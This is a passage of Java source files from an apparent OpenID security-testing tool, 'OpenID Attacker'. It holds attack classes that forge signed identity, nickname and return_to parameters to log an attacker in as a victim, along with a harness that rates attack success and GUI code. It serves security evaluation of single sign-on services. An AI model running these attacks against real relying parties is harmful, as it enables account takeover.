Result.FAILURE; 72 | Interpretation interpretation = success ? Interpretation.CRITICAL : Interpretation.PREVENTED; 73 | 74 | assert isSignatureValid(loginResult) : "Signature is not valid!"; 75 | 76 | return new AttackResult("Email", loginResult, result, interpretation); 77 | } 78 | 79 | @Attack(number = 1) 80 | private AttackResult performNicknameAttack() { 81 | // clear all parameters and log in 82 | serverController.getServer().clearParameters(); 83 | LoginResult loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER); 84 | 85 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true); 86 | 87 | String nicknameParameterName; 88 | 89 | // sreg or ax extension 90 | if (keeper.hasParameter("openid.sreg.nickname")) { 91 | nicknameParameterName = "openid.sreg.nickname"; 92 | } else if (keeper.hasParameter("openid.ax.value.nickname")) { 93 | nicknameParameterName = "openid.ax.value.nickname"; 94 | } else { 95 | return new AttackResult("SP does not request nickname.", loginResult, Result.NOT_PERFORMABLE, Interpretation.NEUTRAL); 96 | } 97 | 98 | String victimNickname = OpenIdServerConfiguration.getAnalyzerInstance().getValidUser().getByName("nickname").getValue(); 99 | 100 | AttackParameter opEndpointParameter = keeper.getParameter(nicknameParameterName); 101 | opEndpointParameter.setAttackValueUsedForSignatureComputation(true); 102 | opEndpointParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 103 | opEndpointParameter.setAttackMethod(HttpMethod.GET); 104 | opEndpointParameter.setAttackValue(victimNickname); 105 | 106 | // include modified parameter in signature 107 | AttackParameter sigParameter = keeper.getParameter("openid.sig"); 108 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 109 | sigParameter.setAttackMethod(HttpMethod.GET); 110 | 111 | loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER); 112 | 113 | boolean success = serviceProvider.determineAuthenticatedUser(loginResult.getPageSource(), loginResult.getUrlAfterLogin()) == ServiceProvider.User.VICTIM; 114 | Result result = success ? Result.SUCCESS : Result.FAILURE; 115 | Interpretation interpretation = success ? Interpretation.CRITICAL : Interpretation.PREVENTED; 116 | 117 | assert isSignatureValid(loginResult) : "Signature is not valid!"; 118 | 119 | return new AttackResult("Nickname", loginResult, result, interpretation); 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/SameIdpDelegationAttack.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.attack; 20 | 21 | import org.apache.commons.lang3.SerializationUtils; 22 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter; 23 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper; 24 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod; 25 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration; 26 | import wsattacker.sso.openid.attacker.discovery.html.HtmlDiscoveryConfiguration; 27 | import wsattacker.sso.openid.attacker.discovery.xrds.XrdsConfiguration; 28 | import wsattacker.sso.openid.attacker.evaluation.LoginResult; 29 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider; 30 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User; 31 | 32 | public class SameIdpDelegationAttack extends AbstractAttack { 33 | 34 | private HtmlDiscoveryConfiguration htmlConfigCopy; 35 | private XrdsConfiguration xrdsConfigCopy; 36 | 37 | public SameIdpDelegationAttack(ServiceProvider serviceProvider) { 38 | super(serviceProvider); 39 | } 40 | 41 | @Override 42 | protected void beforeAttack() { 43 | super.beforeAttack(); 44 | 45 | // copy of HTML and XRDS Discovery information by serialization 46 | htmlConfigCopy = SerializationUtils.clone(serverController.getConfig().getHtmlConfiguration()); 47 | xrdsConfigCopy = SerializationUtils.clone(serverController.getConfig().getXrdsConfiguration()); 48 | } 49 | 50 | @Override 51 | protected void afterAttack() { 52 | super.afterAttack(); 53 | 54 | // reset HTML and XRDS Discovery information 55 | serverController.getConfig().setHtmlConfiguration(htmlConfigCopy); 56 | serverController.getConfig().setXrdsConfiguration(xrdsConfigCopy); 57 | } 58 | 59 | @Attack 60 | private AttackResult performSameIdpDelegationAttack() { 61 | // set IdP of the discovery document of attacker's IdP 62 | String victimIdp = serverController.getAnalyzerConfig().getXrdsConfiguration().getBaseUrl(); 63 | serverController.getAttackerConfig().getHtmlConfiguration().setBaseUrl(victimIdp); 64 | serverController.getAttackerConfig().getXrdsConfiguration().setBaseUrl(victimIdp); 65 | 66 | // set second identity to the attacker's OpenID 67 | OpenIdServerConfiguration.getAnalyzerInstance().setPerformAttack(true); 68 | 69 | String attackerIdentity = serviceProvider.getAttackerOpenId(); 70 | 71 | AttackParameterKeeper victimKeeper = serverController.getAnalyzerServer().getParameterConfiguration(); 72 | 73 | AttackParameter claimedIdParameter = victimKeeper.getParameter("openid.identity"); 74 | claimedIdParameter.setAttackValueUsedForSignatureComputation(true); 75 | claimedIdParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 76 | claimedIdParameter.setAttackMethod(HttpMethod.GET); 77 | claimedIdParameter.setAttackValue(attackerIdentity); 78 | 79 | // include modified parameter in signature 80 | AttackParameter sigParameter = victimKeeper.getParameter("openid.sig"); 81 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 82 | sigParameter.setAttackMethod(HttpMethod.GET); 83 | 84 | LoginResult loginResult = serviceProvider.login(User.ATTACKER); 85 | 86 | boolean success = serviceProvider.determineAuthenticatedUser(loginResult.getPageSource(), loginResult.getUrlAfterLogin()) == ServiceProvider.User.VICTIM; 87 | AttackResult.Result result = success ? AttackResult.Result.SUCCESS : AttackResult.Result.FAILURE; 88 | AttackResult.Interpretation interpretation = success ? AttackResult.Interpretation.CRITICAL : AttackResult.Interpretation.PREVENTED; 89 | 90 | //assert isSignatureValid(loginResult) : "Signature is not valid!"; 91 | 92 | return new AttackResult("Same IdP Delegation Attack", loginResult, result, interpretation); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/TokenRecipientConfusionAttack.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.attack; 20 | 21 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter; 22 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod; 23 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration; 24 | import wsattacker.sso.openid.attacker.evaluation.LoginResult; 25 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider; 26 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Interpretation; 27 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Result; 28 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User; 29 | 30 | public class TokenRecipientConfusionAttack extends AbstractAttack { 31 | 32 | public TokenRecipientConfusionAttack(ServiceProvider serviceProvider) { 33 | super(serviceProvider); 34 | } 35 | 36 | @Attack 37 | private AttackResult performTokenRecipientConfusionAttack() { 38 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true); 39 | 40 | String description = "Modification of the openid.return_to value"; 41 | 42 | AttackParameter attackParam = keeper.getParameter("openid.return_to"); 43 | attackParam.setAttackValueUsedForSignatureComputation(true); 44 | attackParam.setValidMethod(HttpMethod.DO_NOT_SEND); 45 | attackParam.setAttackMethod(HttpMethod.GET); 46 | attackParam.setAttackValue("http://www.rub.de/"); 47 | 48 | // include modified parameter in signature 49 | AttackParameter sigParameter = keeper.getParameter("openid.sig"); 50 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 51 | sigParameter.setAttackMethod(HttpMethod.GET); 52 | 53 | LoginResult loginResult = serviceProvider.loginAndDetermineAuthenticatedUser(User.ATTACKER); 54 | boolean success = loginResult.getAuthenticatedUser() == User.ATTACKER; 55 | Result result = success ? Result.SUCCESS : Result.FAILURE; 56 | Interpretation interpretation = success ? Interpretation.CRITICAL : Interpretation.PREVENTED; 57 | 58 | assert isSignatureValid(loginResult) : "Signature is not valid!"; 59 | 60 | return new AttackResult(description, loginResult, result, interpretation); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/strategies/DetermineUserStrategy.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.strategies; 20 | 21 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider; 22 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User; 23 | 24 | public interface DetermineUserStrategy { 25 | public User determineAuthenticatedUser(String pageSource, String url, ServiceProvider serviceProvider); 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/strategies/LengthDeviationAndCountingMatchesStrategy.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.strategies; 20 | 21 | import org.apache.commons.lang3.StringUtils; 22 | import uk.ac.shef.wit.simmetrics.similaritymetrics.AbstractStringMetric; 23 | import uk.ac.shef.wit.simmetrics.similaritymetrics.ChapmanLengthDeviation; 24 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider; 25 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User; 26 | 27 | public class LengthDeviationAndCountingMatchesStrategy implements DetermineUserStrategy { 28 | 29 | @Override 30 | public ServiceProvider.User determineAuthenticatedUser(String pageSource, String url, ServiceProvider serviceProvider) { 31 | 32 | float success = 0.0f; 33 | float failure = 0.0f; 34 | 35 | AbstractStringMetric metric = new ChapmanLengthDeviation(); 36 | 37 | for (String attackerSuccessPageSource: serviceProvider.getAttackerSuccessPageSources()) { 38 | float currentSuccess = metric.getSimilarity(pageSource, attackerSuccessPageSource); 39 | //System.out.println("success: " + currentSuccess); 40 | 41 | success += currentSuccess; 42 | } 43 | 44 | for (String failurePageSource: serviceProvider.getFailurePageSources()) { 45 | float currentFailure = metric.getSimilarity(pageSource, failurePageSource); 46 | //System.out.println("failure: " + currentFailure); 47 | 48 | failure += currentFailure; 49 | } 50 | 51 | if (success > failure) { 52 | String victimUsername = serviceProvider.getVictimUsername(); 53 | String attackerUsername = serviceProvider.getAttackerUsername(); 54 | 55 | int victimMatches = StringUtils.countMatches(pageSource, StringUtils.capitalize(victimUsername)); 56 | victimMatches += StringUtils.countMatches(pageSource, victimUsername.toLowerCase()); 57 | int attackerMatches = StringUtils.countMatches(pageSource, StringUtils.capitalize(attackerUsername)); 58 | attackerMatches += StringUtils.countMatches(pageSource, attackerUsername.toLowerCase()); 59 | 60 | //System.out.println("victimMatches: " + victimMatches + ", attackerMatches: " + attackerMatches); 61 | 62 | if (victimMatches > attackerMatches) { 63 | return ServiceProvider.User.VICTIM; 64 | } else if (attackerMatches > victimMatches) { 65 | return ServiceProvider.User.ATTACKER; 66 | } else { 67 | return ServiceProvider.User.NONE; 68 | } 69 | } else { 70 | return User.ERROR; 71 | } 72 | } 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/strategies/LoginStrategy.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.strategies; 20 | 21 | import wsattacker.sso.openid.attacker.evaluation.LoginResult; 22 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider; 23 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User; 24 | 25 | public interface LoginStrategy { 26 | public LoginResult login(User user, ServiceProvider serviceProvider); 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/strategies/StringSimilarityCallable.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.strategies; 20 | 21 | import java.util.concurrent.Callable; 22 | import org.apache.commons.lang3.StringUtils; 23 | 24 | public class StringSimilarityCallable implements Callable{ 25 | 26 | private final String s1; 27 | private final String s2; 28 | 29 | public StringSimilarityCallable(String s1, String s2) { 30 | this.s1 = s1; 31 | this.s2 = s2; 32 | } 33 | 34 | @Override 35 | public Float call() throws Exception { 36 | //Instant startComputation = Instant.now(); 37 | float result = StringUtils.getLevenshteinDistance(s1, s2); 38 | //Instant endComputation = Instant.now(); 39 | //Duration duration = Duration.between(startComputation, endComputation); 40 | //System.out.println("length: " + s1.length() + "/" + s2.length() + ", duration: " + (duration.toNanos() / 1000000000) + " s, " + "result: " + result); 41 | //System.out.println("duration levenshtein: " + (duration.toNanos() / 1000000000) + " s"); 42 | 43 | return result; 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/training/Training.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.training; 20 | 21 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter; 22 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper; 23 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod; 24 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration; 25 | import wsattacker.sso.openid.attacker.controller.ServerController; 26 | import wsattacker.sso.openid.attacker.evaluation.LoginResult; 27 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider; 28 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User; 29 | 30 | public class Training { 31 | private final ServerController controller = new ServerController(); 32 | private final AttackParameterKeeper keeper = controller.getServer().getParameterConfiguration(); 33 | 34 | public enum ErrorType { 35 | ERROR_1, 36 | ERROR_2, 37 | ERROR_3 38 | } 39 | 40 | private final ServiceProvider serviceProvider; 41 | 42 | public Training(ServiceProvider serviceProvider) { 43 | this.serviceProvider = serviceProvider; 44 | } 45 | 46 | public TrainingResult performSuccessfulLogin(User user) { 47 | keeper.resetAllParameters(); 48 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(false); 49 | 50 | LoginResult loginResult = null; 51 | 52 | switch (user) { 53 | case ATTACKER: 54 | loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER); 55 | break; 56 | case VICTIM: 57 | loginResult = serviceProvider.login(ServiceProvider.User.VICTIM); 58 | break; 59 | } 60 | 61 | return new TrainingResult(user, loginResult); 62 | } 63 | 64 | public TrainingResult performUnsuccessfulLogin(ErrorType error) { 65 | keeper.resetAllParameters(); 66 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true); 67 | 68 | AttackParameter claimedIDParameter = keeper.getParameter("openid.claimed_id"); 69 | AttackParameter identityParameter = keeper.getParameter("openid.identity"); 70 | AttackParameter returnToParameter = keeper.getParameter("openid.return_to"); 71 | AttackParameter sigParameter = keeper.getParameter("openid.sig"); 72 | 73 | switch (error) { 74 | case ERROR_1: 75 | // 1. remove claimed_id and identity 76 | claimedIDParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 77 | identityParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 78 | break; 79 | case ERROR_2: 80 | // 2. remove return_to 81 | returnToParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 82 | break; 83 | case ERROR_3: 84 | // 3. remove sig and claimed_id 85 | claimedIDParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 86 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 87 | break; 88 | } 89 | 90 | LoginResult loginResult = serviceProvider.login(User.ATTACKER); 91 | 92 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(false); 93 | 94 | return new TrainingResult(User.ERROR, loginResult); 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/training/TrainingResult.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.training; 20 | 21 | import java.io.Serializable; 22 | import wsattacker.sso.openid.attacker.evaluation.LoginResult; 23 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User; 24 | 25 | public class TrainingResult implements Serializable { 26 | private final User type; 27 | private final LoginResult loginResult; 28 | 29 | public TrainingResult(User type, LoginResult loginResult) { 30 | this.type = type; 31 | this.loginResult = loginResult; 32 | } 33 | 34 | public User getType() { 35 | return type; 36 | } 37 | 38 | public LoginResult getLoginResult() { 39 | return loginResult; 40 | } 41 | } -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/evaluation/training/TrainingWorker.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.evaluation.training; 20 | 21 | import java.util.ArrayList; 22 | import java.util.List; 23 | import java.util.concurrent.CountDownLatch; 24 | import javax.swing.JProgressBar; 25 | import javax.swing.SwingWorker; 26 | import org.apache.commons.lang3.time.StopWatch; 27 | import wsattacker.sso.openid.attacker.evaluation.EvaluationResult; 28 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider; 29 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User; 30 | import wsattacker.sso.openid.attacker.evaluation.training.Training.ErrorType; 31 | 32 | public class TrainingWorker extends SwingWorker { 33 | 34 | private final ServiceProvider serviceProvider; 35 | private final JProgressBar progressBar; 36 | private final EvaluationResult evaluationResult; 37 | 38 | private final int numberOfTrainingSamples = 2; 39 | private final int progressStep = 100 / (3*numberOfTrainingSamples); 40 | private int progress = 0; 41 | 42 | private final List trainingResults = new ArrayList<>(numberOfTrainingSamples); 43 | 44 | private final CountDownLatch actuallyFinishedLatch = new CountDownLatch(1); 45 | 46 | public TrainingWorker(ServiceProvider servideProvider, JProgressBar progressBar, EvaluationResult evaluationResult) { 47 | this.serviceProvider = servideProvider; 48 | this.progressBar = progressBar; 49 | this.evaluationResult = evaluationResult; 50 | } 51 | 52 | @Override 53 | protected Void doInBackground() throws Exception { 54 | StopWatch stopWatch = new StopWatch(); 55 | stopWatch.start(); 56 | 57 | Training training = new Training(serviceProvider); 58 | ErrorType errors[] = ErrorType.values(); 59 | 60 | for (int i = 0; i < numberOfTrainingSamples; i++) { 61 | // Attacker 62 | TrainingResult trainingResult = training.performSuccessfulLogin(User.ATTACKER); 63 | serviceProvider.addAttackerSuccessPageSource(trainingResult.getLoginResult().getPageSource()); 64 | serviceProvider.addAttackerSuccessUrl(trainingResult.getLoginResult().getUrlAfterLogin()); 65 | 66 | publish(trainingResult); 67 | 68 | if (isCancelled()) { 69 | System.out.println("cancelled"); 70 | actuallyFinishedLatch.countDown(); 71 | return null; 72 | } 73 | 74 | // Victim 75 | trainingResult = training.performSuccessfulLogin(User.VICTIM); 76 | serviceProvider.addVictimSuccessPageSource(trainingResult.getLoginResult().getPageSource()); 77 | serviceProvider.addVictimSuccessUrl(trainingResult.getLoginResult().getUrlAfterLogin()); 78 | 79 | publish(trainingResult); 80 | 81 | if (isCancelled()) { 82 | System.out.println("cancelled"); 83 | actuallyFinishedLatch.countDown(); 84 | return null; 85 | } 86 | 87 | // Error 88 | trainingResult = training.performUnsuccessfulLogin(errors[i]); 89 | serviceProvider.addFailurePageSource(trainingResult.getLoginResult().getPageSource()); 90 | serviceProvider.addFailureUrl(trainingResult.getLoginResult().getUrlAfterLogin()); 91 | 92 | publish(trainingResult); 93 | 94 | if (isCancelled()) { 95 | System.out.println("cancelled"); 96 | actuallyFinishedLatch.countDown(); 97 | return null; 98 | } 99 | } 100 | 101 | stopWatch.stop(); 102 | evaluationResult.addInvestigationTime(stopWatch.getTime()/1000); 103 | 104 | return null; 105 | } 106 | 107 | @Override 108 | protected void process(List results) { 109 | if (isCancelled()) { 110 | return; 111 | } 112 | 113 | for (TrainingResult result: results) { 114 | progress += progressStep; 115 | progressBar.setValue(progress); 116 | 117 | trainingResults.add(result); 118 | } 119 | } 120 | 121 | public void awaitActualCompletion() throws InterruptedException { 122 | actuallyFinishedLatch.await(); 123 | } 124 | 125 | @Override 126 | protected void done() { 127 | if (isCancelled()) { 128 | return; 129 | } 130 | 131 | progressBar.setValue(100); 132 | evaluationResult.addTrainingResults(trainingResults); 133 | } 134 | } -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/ServerStatusToIconConverter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui; 20 | 21 | import java.net.URL; 22 | import javax.swing.ImageIcon; 23 | import org.jdesktop.beansbinding.Converter; 24 | import wsattacker.sso.openid.attacker.server.status.Status; 25 | 26 | public class ServerStatusToIconConverter extends Converter { 27 | 28 | @Override 29 | public ImageIcon convertForward(Status s) { 30 | if (s == Status.RUNNING) { 31 | return createImageIcon("play.png", "play icon"); 32 | } 33 | 34 | return createImageIcon("stop.png", "stop icon"); 35 | } 36 | 37 | @Override 38 | public Status convertReverse(ImageIcon t) { 39 | throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. 40 | } 41 | 42 | /** Returns an ImageIcon, or null if the path was invalid. */ 43 | protected ImageIcon createImageIcon(String path, String description) { 44 | URL imgURL = getClass().getClassLoader().getResource(path); 45 | if (imgURL != null) { 46 | return new ImageIcon(imgURL, description); 47 | } else { 48 | System.err.println("Couldn't find file: " + path); 49 | return null; 50 | } 51 | } 52 | } -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/attack/AbstractAttackParameterGui.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.attack; 20 | 21 | import javax.swing.JPanel; 22 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter; 23 | 24 | public abstract class AbstractAttackParameterGui extends JPanel { 25 | 26 | public AbstractAttackParameterGui() { 27 | } 28 | 29 | public abstract String getParameterName(); 30 | 31 | public abstract void doUnbind(); 32 | 33 | public abstract AttackParameter getParameter(); 34 | } 35 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/attack/AttackParameterGuiFactory.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 